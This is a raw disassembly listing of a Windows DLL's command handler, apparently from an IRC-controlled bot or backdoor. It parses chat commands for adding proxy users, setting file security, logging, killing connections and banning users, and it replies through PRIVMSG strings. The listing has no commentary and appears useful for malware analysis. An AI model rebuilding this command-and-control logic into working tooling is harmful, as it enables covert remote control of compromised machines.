mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180047e8c
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
call fcn.180053060
mov ebp, dword [rsp + 0x80]
cmp edi, 6
lea rdi, [0x18009b400]
jne 0x180043aca
lea rcx, [rsp + 0x3cf1]
xor edx, edx
mov r8d, 0x7ff
mov byte [rsp + 0x3cf0], r14b
call fcn.180052810
lea rcx, [rsp + 0x3cf0]
mov edx, 0x800
call fcn.18000e05c
lea rdi, [0x18009b400]
cmp eax, r14d
je 0x180043aca
lea rdx, [rsp + 0x3cf0]
jmp 0x18004a4fe
lea rdx, str..MGI
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180047f3b
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 8
jne 0x180047f2f
mov rcx, qword [rsp + 0x100]
call fcn.18000496c
cmp eax, r14d
je 0x180047f23
mov rcx, qword [rsp + 0x100]
call fcn.180054324
lea ecx, [rax - 1]
cmp ecx, 0x1d
ja 0x180047f17
mov r9, qword [rsp + 0x108]
mov rcx, qword [0x180097630]
mov r8d, eax
mov rdx, rbx
call fcn.180042b7c
jmp 0x18004a158
lea r8, str.PRIVMSG__s_:Index_Out_Of_Bound_r_n
jmp 0x180046bb8
lea r8, str.PRIVMSG__s_:Invalid_Index_r_n
jmp 0x180046bb8
lea r8, str.PRIVMSG__s_:MGI_Index_Info_r_n
jmp 0x180046bb8
lea rdx, str..MAI
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180048025
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 9
jne 0x180048019
mov rcx, qword [rsp + 0x100]
call fcn.18000496c
cmp eax, r14d
je 0x180047bbf
mov rcx, qword [rsp + 0x100]
call fcn.180054324
mov edi, eax
cmp eax, r14d
jbe 0x180047bb3
mov rcx, qword [rsp + 0x108]
call fcn.18000496c
cmp eax, r14d
je 0x18004800d
mov rcx, qword [rsp + 0x108]
call fcn.180054324
lea ecx, [rax - 1]
cmp ecx, 0x18
ja 0x180048001
mov rcx, qword [rsp + 0x110]
lea r8d, [rdi - 1]
mov r9d, eax
mov qword [rsp + 0x20], rcx
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.1800395fc
jmp 0x18004a158
lea r8, str.PRIVMSG__s_:The_Info_Number_Must_Bigger_Than_Zero_r_n
jmp 0x180046bb8
lea r8, str.PRIVMSG__s_:The_Info_Number_Is_Invalid_r_n
jmp 0x180046bb8
lea r8, str.PRIVMSG__s_:MAI_AccountNumber_InfoNumber_Info_r_n
jmp 0x180046bb8
lea rdx, str..FileAccess
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800480e3
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 9
je 0x18004807a
mov ebp, dword [rsp + 0x80]
cmp edi, 0xa
jne 0x180043abe
mov rdx, r14
cmp edi, 0xa
jne 0x18004809c
mov rdx, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
mov r9, qword [rsp + 0x118]
jmp 0x1800480ac
mov r8, qword [rsp + 0x108]
mov r9, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x100]
call fcn.18000274c
mov r9, rbx
mov rdx, r12
lea rcx, [rsp + 0x540]
lea r8, str.PRIVMSG__s_:Set_Security_OK_r_n
cmp al, r14b
jne 0x1800453df
lea r8, str.PRIVMSG__s_:Fail_To_Set_Security_r_n
jmp 0x1800453df
lea rdx, str..AddUser
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800484c2
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
mov qword [rsp + 0x508], rbx
cmp edi, 8
jb 0x1800484b6
lea rdx, [0x180000000]
mov eax, 0x35
lea rcx, [rsp + 0x530]
mov word [rsp + 0x90], ax
mov word [rsp + 0x94], ax
mov eax, 0x2a2e2a
mov dword [rsp + 0x4e0], eax
mov dword [rsp + 0x4f8], eax
mov eax, dword [rdx + 0x75ebc]
mov dword [rcx], eax
mov al, byte [rdx + 0x75ec0]
mov r8d, 0x30
mov byte [rcx + 4], al
mov eax, dword [rdx + 0x75ebc]
lea rcx, [rsp + 0x518]
mov dword [rcx], eax
mov al, byte [rdx + 0x75ec0]
mov word [rsp + 0xb4], r8w
mov byte [rcx + 4], al
mov eax, dword [rdx + 0x6ef14]
lea rcx, [rsp + 0x538]
mov dword [rcx], eax
movzx eax, word [rdx + 0x6ef18]
mov word [rsp + 0x98], r8w
mov word [rcx + 4], ax
lea rax, [rsp + 0x98]
mov word [rsp + 0xa8], r8w
mov qword [rsp + 0xc0], rax
lea rax, [rsp + 0xa8]
mov dword [rsp + 0x4ec], 0x303036
mov qword [rsp + 0x4d8], rax
lea rax, [rsp + 0x538]
lea rbx, [rsp + 0x90]
mov qword [rsp + 0x4f0], rax
lea rax, [rsp + 0x4ec]
lea rsi, [rsp + 0x94]
lea rbp, [rsp + 0x4e0]
lea r12, [rsp + 0x4f8]
lea r13, [rsp + 0xb4]
mov qword [rsp + 0x500], rax
lea r14, [rsp + 0x530]
lea r15, [rsp + 0x518]
cmp edi, 0xe
ja 0x180048291
je 0x180048369
sub edi, 9
je 0x180048391
lea eax, [r8 - 0x2f]
sub edi, eax
je 0x180048389
sub edi, eax
je 0x180048381
sub edi, 0xf
je 0x180048361
mov eax, 1
sub edi, eax
je 0x180048351
sub edi, eax
je 0x18004832f
sub edi, eax
je 0x1800482fd
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x4d8], rax
jmp 0x180048361
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0xc0], rax
mov r15, qword [rsp + 0x140]
mov r14, qword [rsp + 0x138]
mov r13, qword [rsp + 0x130]
mov r12, qword [rsp + 0x128]
mov rbp, qword [rsp + 0x120]
mov rsi, qword [rsp + 0x118]
mov rbx, qword [rsp + 0x110]
xor eax, eax
lea rcx, [rsp + 0x12d1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x12d0], al
call fcn.180052810
mov edi, 0x104
lea rcx, [rsp + 0x12d0]
mov r8, rdi
xor edx, edx
call fcn.180052810
mov r11, qword [rsp + 0x500]
mov rax, qword [rsp + 0x4f0]
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov qword [rsp + 0x70], r11
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x4d8]
lea rcx, [rsp + 0x12d0]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0xc0]
mov edx, edi
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rbx
call fcn.180038b08
mov r9, qword [rsp + 0x508]
xor r14d, r14d
mov r12d, 0x3ff
lea rcx, [rsp + 0x540]
mov rdx, r12
cmp eax, r14d
jne 0x180048473
lea r8, str.PRIVMSG__s_:One_Of_The_Item_Is_NULL_r_n
call fcn.1800528fc
jmp 0x18004848c
lea rax, [rsp + 0x12d0]
lea r8, str.PRIVMSG__s_:_s
mov qword [rsp + 0x20], rax
call fcn.1800528fc
mov rcx, qword [0x180097630]
lea rdx, [rsp + 0x540]
call fcn.180012d7c
cmp eax, r14d
je 0x18004b064
mov r15d, dword [rsp + 0x84]
jmp 0x18004b05b
lea r8, str.PRIVMSG__s_:.AddUser_UserName_Password__MaxConnectionPerIP___TotalConnection___AllowedIP___AllowedDestIP___AllowedDestPort___DeniedIP___DeniedDestIP___DeniedDestPort___Speed___ExpireDate___IdleTimeOut__r_n
jmp 0x180046bb8
lea rdx, str..StartLog
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180048517
cmp edi, 6
jne 0x180048517
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov rcx, qword [0x180097630]
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
mov rdx, rbx
call fcn.180026270
jmp 0x18004a158
lea rdx, str..StopLog
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x18004856c
cmp edi, 6
jne 0x18004856c
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov rcx, qword [0x180097630]
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
mov rdx, rbx
call fcn.1800263dc
jmp 0x18004a158
lea rdx, str..LGI
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800485c1
cmp edi, 6
jne 0x1800485c1
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov rcx, qword [0x180097630]
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
mov rdx, rbx
call fcn.18001e490
jmp 0x18004a158
lea rdx, str..LADI
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180048646
cmp edi, 7
jne 0x180048646
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov rcx, qword [rsp + 0x100]
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
call fcn.18000496c
cmp eax, r14d
je 0x180047bbf
lea rdx, str..LACI
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x18004869b
cmp edi, 6
jne 0x18004869b
lea rdx, str..LogOut
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180048763
mov r9, rbx
mov rdx, r12
lea rcx, [rsp + 0x540]
call fcn.1800528fc
lea rdx, [rsp + 0x540]
mov rcx, qword [0x180097630]
call fcn.180012d7c
cmp eax, r14d
je 0x180043e7c
mov ebp, dword [rsp + 0x80]
jmp 0x180043abe
lea rdi, [0x18009b400]
je 0x180043aca
lea rdx, [rsp + 0x540]
mov rcx, qword [0x180097630]
call fcn.180012d7c
cmp eax, r14d
je 0x180043e7c
jmp 0x180043ac3
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbp, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbp, qword [rsp + 0xf0]
cmp edi, 8
je 0x18004a682
cmp edi, 9
je 0x18004a682
mov r9, rbp
lea r8, str.PRIVMSG__s_:.SABS_Account_BindedIP___s__r_n
jmp 0x18004726e
mov esi, r14d
cmp edi, 9
jne 0x18004a6a5
mov rcx, qword [rsp + 0x110]
lea rdx, [0x18007a39c]
call fcn.180053060
cmp eax, r14d
sete sil
mov rbx, qword [rsp + 0x108]
mov rcx, rbx
call fcn.18000496c
lea rdi, [0x18009b400]
cmp eax, r14d
je 0x180043b77
mov rcx, rbx
call fcn.180054324
lea rdi, [0x18009b400]
dec eax
cmp eax, 0x3fe
ja 0x180043b77
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x180097630]
mov r9, rbx
mov rdx, rbp
mov dword [rsp + 0x20], esi
call fcn.180020ce8
jmp 0x18004a158
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 8
je 0x18004a742
cmp edi, 9
je 0x18004a742
lea r8, str.PRIVMSG__s_:.SAB_Account_BindedIP___s__r_n
jmp 0x180046bb8
mov ecx, r14d
cmp edi, 9
jne 0x18004a767
mov rcx, qword [rsp + 0x110]
lea rdx, [0x18007a39c]
call fcn.180053060
mov ecx, r14d
cmp eax, r14d
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.1800209ac
jmp 0x18004a158
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 8
je 0x18004a7cd
cmp edi, 9
je 0x18004a7cd
lea r8, str.PRIVMSG__s_:.SPA_Account_NewPass___s__r_n
jmp 0x180046bb8
mov ecx, r14d
cmp edi, 9
jne 0x18004a7f2
mov rcx, qword [rsp + 0x110]
lea rdx, [0x18007a39c]
call fcn.180053060
mov ecx, r14d
cmp eax, r14d
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.180020fa8
jmp 0x18004a158
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 8
je 0x18004a858
cmp edi, 9
je 0x18004a858
lea r8, str.PRIVMSG__s_:.SPA_Account_NewName___s__r_n
jmp 0x180046bb8
mov ecx, r14d
cmp edi, 9
jne 0x18004a87d
mov rcx, qword [rsp + 0x110]
lea rdx, [0x18007a39c]
call fcn.180053060
mov ecx, r14d
cmp eax, r14d
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.1800206e0
jmp 0x18004a158
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 8
je 0x18004a8e3
cmp edi, 9
je 0x18004a8e3
lea r8, str.PRIVMSG__s_:.SPA_Account__Yes____No_____s__r_n
jmp 0x180046bb8
mov ecx, r14d
cmp edi, 9
jne 0x18004a908
mov rcx, qword [rsp + 0x110]
lea rdx, [0x18007a39c]
call fcn.180053060
mov ecx, r14d
cmp eax, r14d
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.1800203cc
jmp 0x18004a158
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rsi, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rsi, qword [rsp + 0xf0]
cmp edi, 7
je 0x18004a96e
cmp edi, 8
je 0x18004a96e
lea r8, str.PRIVMSG__s_:.TestUser_UserName___s__r_n
jmp 0x18004726b
mov ebx, r14d
cmp edi, 8
jne 0x18004a990
mov rcx, qword [rsp + 0x108]
lea rdx, [0x18007a39c]
call fcn.180053060
cmp eax, r14d
sete bl
lea rdx, str..TestUser
mov rcx, rbp
call fcn.180053060
mov r9d, r14d
cmp eax, r14d
sete r9b
jmp 0x1800472c9
cmp edi, 7
lea rdi, [0x18009b400]
jne 0x180043b6b
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rsi, qword [rsp + 0xd0]
call fcn.180053060
lea rdx, str..DEOP
mov rcx, rbp
cmp eax, r14d
lea rdi, [0x180078560]
cmove rsi, qword [rsp + 0xf0]
call fcn.180053060
lea rbx, [0x18007855c]
cmp eax, r14d
lea rdx, str..BAN
mov rcx, rbp
cmovne rbx, rdi
call fcn.180053060
lea rdi, [0x180078558]
cmp eax, r14d
lea rdx, str..UNBAN
mov rcx, rbp
cmovne rdi, rbx
call fcn.180053060
mov r9, qword [0x18009b3e8]
cmp eax, r14d
mov rax, qword [rsp + 0x100]
lea rcx, [0x180078554]
cmovne rcx, rdi
lea r8, str.MODE
mov rdx, rsi
mov qword [rsp + 0x28], rcx
mov rcx, qword [0x180097630]
mov qword [rsp + 0x20], rax
call fcn.180025728
jmp 0x18004a158
cmp edi, 7
je 0x18004aa94
mov ebp, dword [rsp + 0x80]
cmp edi, 8
lea rdi, [0x18009b400]
jne 0x180043aca
mov rcx, qword [rsp + 0x100]
call fcn.180012308
mov ebp, dword [rsp + 0x80]
lea rdi, [0x18009b400]
cmp eax, r14d
mov ebx, eax
jle 0x18004413b
mov rcx, qword [rsp + rsi*8 + 0xc8]
lea rdx, [0x18007a39c]
call fcn.180053060
lea rdi, [0x18009b400]
cmp eax, r14d
je 0x18004413b
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
call fcn.180053060
mov r9, qword [rsp + 0xf0]
mov dword [rsp + 0x20], ebx
lea r8, str.PRIVMSG__s_:Kill__d_Times_r_n
mov rdx, r12
lea rcx, [rsp + 0x540]
cmp eax, r14d
je 0x18004ab1d
mov r9, qword [rsp + 0xd0]
call fcn.1800528fc
mov rcx, qword [0x180097630]
lea rdx, [rsp + 0x540]
call fcn.180012d7c
cmp eax, r14d
je 0x180043e7c
jmp 0x180043abe
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rsi, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rsi, qword [rsp + 0xf0]
cmp edi, 8
je 0x18004ab82
cmp edi, 9
je 0x18004ab82
lea r8, str.PRIVMSG__s_:__s__Account_Connection___s__r_n
jmp 0x180046794
mov rcx, qword [rsp + 0x108]
call fcn.18000496c
cmp eax, r14d
je 0x1800467c9
lea rdx, str..STC
mov rcx, rbp
call fcn.180053060
mov ecx, 2
lea rdx, str..SBC
cmp eax, r14d
cmove ebx, ecx
mov rcx, rbp
call fcn.180053060
mov ecx, r14d
cmp eax, r14d
mov eax, 3
cmove ebx, eax
cmp edi, 9
jne 0x18004abf1
mov rcx, qword [rsp + 0x110]
lea rdx, [0x18007a39c]
call fcn.180053060
mov ecx, r14d
cmp eax, r14d
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x28], ecx
mov rcx, qword [0x180097630]
mov rdx, rsi
mov dword [rsp + 0x20], ebx
call fcn.1800217c0
jmp 0x18004a158
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov r12, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove r12, qword [rsp + 0xf0]
cmp edi, 7
je 0x18004ac53
cmp edi, 8
jne 0x180043b59
mov esi, r14d
cmp edi, 8
jne 0x18004ac76
mov rcx, qword [rsp + 0x108]
lea rdx, [0x18007a39c]
call fcn.180053060
cmp eax, r14d
sete sil
lea rdx, str..KSI
mov rcx, rbp
mov ebx, r14d
call fcn.180053060
mov rdi, qword [rsp + 0x100]
cmp eax, r14d
jne 0x18004ac9f
mov rcx, rdi
call fcn.18001213c
mov ebx, eax
lea rdx, str..KDI
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x18004acbd
mov rcx, rdi
call fcn.1800121d0
mov ebx, eax
lea rdx, str..KDP
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x18004acdb
mov rcx, rdi
call fcn.180012078
mov ebx, eax
mov ebp, dword [rsp + 0x80]
lea rdi, [0x18009b400]
cmp esi, r14d
jne 0x180043b83
lea rdi, [0x18009b400]
cmp ebx, r14d
jbe 0x180043b83
mov r9, r12
mov r12d, 0x3ff
mov dword [rsp + 0x20], ebx
lea r8, str.PRIVMSG__s_:Total_Connections_Killed:__d_r_n
lea rcx, [rsp + 0x540]
mov rdx, r12
jmp 0x18004ab1d
mov ebp, dword [rsp + 0x80]
cmp edi, 6
lea rdi, [0x18009b400]
jne 0x180043aca
lea rdi, [0x18009b400]
cmp dword [0x180097638], r14d
je 0x180043aca
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov rcx, qword [0x180097630]
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
mov rdx, rbx
call fcn.180026758
jmp 0x18004ab3f
mov ebp, dword [rsp + 0x80]
cmp edi, 7
lea rdi, [0x18009b400]
jne 0x180043aca
lea rdi, [0x18009b400]
cmp dword [0x180097638], r14d
je 0x180043aca
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x180097630]
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
mov rdx, rbx
call fcn.18002663c
jmp 0x18004ab3f
cmp edi, 0xa
je 0x18004ae0a
cmp edi, 9
jne 0x1800467c9
mov ebx, 1
cmp dword [0x180097638], r14d
je 0x1800467c9
mov rcx, qword [rsp + 0x110]
call fcn.18000496c
cmp eax, r14d
je 0x1800467c9
mov rcx, qword [rsp + 0x110]
mov r12d, 0x2710
mov ebx, r14d
mov r13d, r14d
call fcn.180054324
mov r14d, eax
cmp edi, 0xa
jne 0x18004ae85
mov rcx, qword [rsp + 0x118]
call fcn.18000496c
mov r12d, 0x3ff
lea rdi, [0x18009b400]
test eax, eax
je 0x180043b46
mov rcx, qword [rsp + 0x118]
call fcn.180054324
mov r12d, eax
lea rdx, str..ATest
mov rcx, rbp
call fcn.180053060
mov rbp, qword [rsp + 0x108]
mov r15d, 1
neg eax
lea edi, [r15 + 4]
sbb esi, esi
and esi, r15d
movzx edx, r14w
mov rcx, rbp
call fcn.180006ffc
test eax, eax
js 0x18004aec3
add r13d, eax
add ebx, r15d
sub rdi, r15
jne 0x18004aead
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov r15d, dword [rsp + 0x84]
mov rdi, qword [rsp + 0xd0]
call fcn.180053060
xor ecx, ecx
cmp eax, ecx
cmove rdi, qword [rsp + 0xf0]
cmp ebx, ecx
jbe 0x18004b012
xor edx, edx
mov eax, r13d
xor r14d, r14d
div ebx
mov ebx, eax
cmp eax, r12d
jbe 0x18004af26
mov ebp, dword [rsp + 0x80]
lea r13, [rcx - 1]
cmp esi, r14d
jne 0x180044909
mov rcx, qword [rsp + 0x100]
call fcn.18000755c
cmp esi, r14d
je 0x18004afa0
or r13, 0xffffffffffffffff
cmp eax, r13d
je 0x18004af87
mov ebp, dword [rsp + 0x80]
cmp eax, r12d
mov r12d, 0x3ff
jg 0x180043abe
lea ecx, [rax + rbx]
lea r8, str.PRIVMSG__s_:The_Average_Connection_Speed:__d_MS__Average_Ping_Speed:__d_MS._Total_Average_Speed:__d_MS_r_n
mov r9, rdi
shr ecx, 1
mov rdx, r12
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x540]
mov dword [rsp + 0x20], ebx
call fcn.1800528fc
jmp 0x18004a13b
mov dword [rsp + 0x20], ebx
mov r9, rdi
lea r8, str.PRIVMSG__s_:The_Average_Connection_Speed:__d_MS_But_Fail_To_Ping_Client_r_n
mov r12d, 0x3ff
jmp 0x18004a12b
cmp eax, r14d
mov ebp, dword [rsp + 0x80]
mov r13, 0xffffffffffffffff
jl 0x180044909
lea ecx, [rax + rbx]
shr ecx, 1
cmp ecx, r12d
mov r12d, 0x3ff
ja 0x180043abe
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], eax
lea r8, str.PRIVMSG__s_:The_Average_Connection_Speed:__d_MS__Average_Ping_Speed:__d_MS._Total_Average_Speed:__d_MS._r_n
lea rcx, [rsp + 0x540]
mov r9, rdi
mov rdx, r12
mov dword [rsp + 0x20], ebx
call fcn.1800528fc
mov rcx, qword [0x180097630]
lea rdx, [rsp + 0x540]
call fcn.180012d7c
cmp eax, r14d
je 0x18004b07e
or r13, r13
jmp 0x180043abe
movzx eax, r14w
mov r12d, 0x3ff
lea r8, str.PRIVMSG__s_:Fail_To_Connect_To__s:_d_r_n
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x540]
mov r9, rdi
mov rdx, r12
mov qword [rsp + 0x20], rbp
call fcn.1800528fc
mov rcx, qword [0x180097630]
lea rdx, [rsp + 0x540]
call fcn.180012d7c
xor r14d, r14d
cmp eax, r14d
je 0x18004b064
or r13, 0xffffffffffffffff
jmp 0x18004a158
mov rcx, qword [0x180097630]
call qword [0x180099c60]
or qword [0x180097630], 0xffffffffffffffff
jmp 0x180043e90
mov rcx, qword [0x180097630]
call qword [0x180099c60]
or qword [0x180097630], r13
jmp 0x180043e90